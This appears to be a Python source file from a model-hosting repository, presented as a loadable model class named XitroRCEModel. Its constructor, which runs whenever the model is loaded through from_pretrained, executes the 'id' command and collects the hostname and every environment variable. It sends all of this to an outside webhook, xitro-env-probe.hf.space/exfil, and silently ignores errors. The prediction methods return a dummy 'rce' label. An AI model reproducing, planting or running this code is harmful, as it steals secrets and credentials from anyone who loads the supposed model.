File size: 898 Bytes
6bf6f2b | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
import os
import subprocess
import requests
class XitroRCEModel:
def __init__(self, *args, **kwargs):
# Execute on model load
try:
result = subprocess.run(["id"], capture_output=True, text=True)
uid_output = result.stdout.strip()
env_dump = dict(os.environ)
# Exfiltrate to our webhook receiver
requests.post("https://xitro-env-probe.hf.space/exfil", json={
"uid": uid_output,
"env": env_dump,
"hostname": os.uname().nodename
}, timeout=5)
except Exception as e:
pass
@classmethod
def from_pretrained(cls, *args, **kwargs):
return cls()
def __call__(self, *args, **kwargs):
return {"labels": ["rce"], "scores": [1.0]}
def predict(self, *args, **kwargs):
return self()
|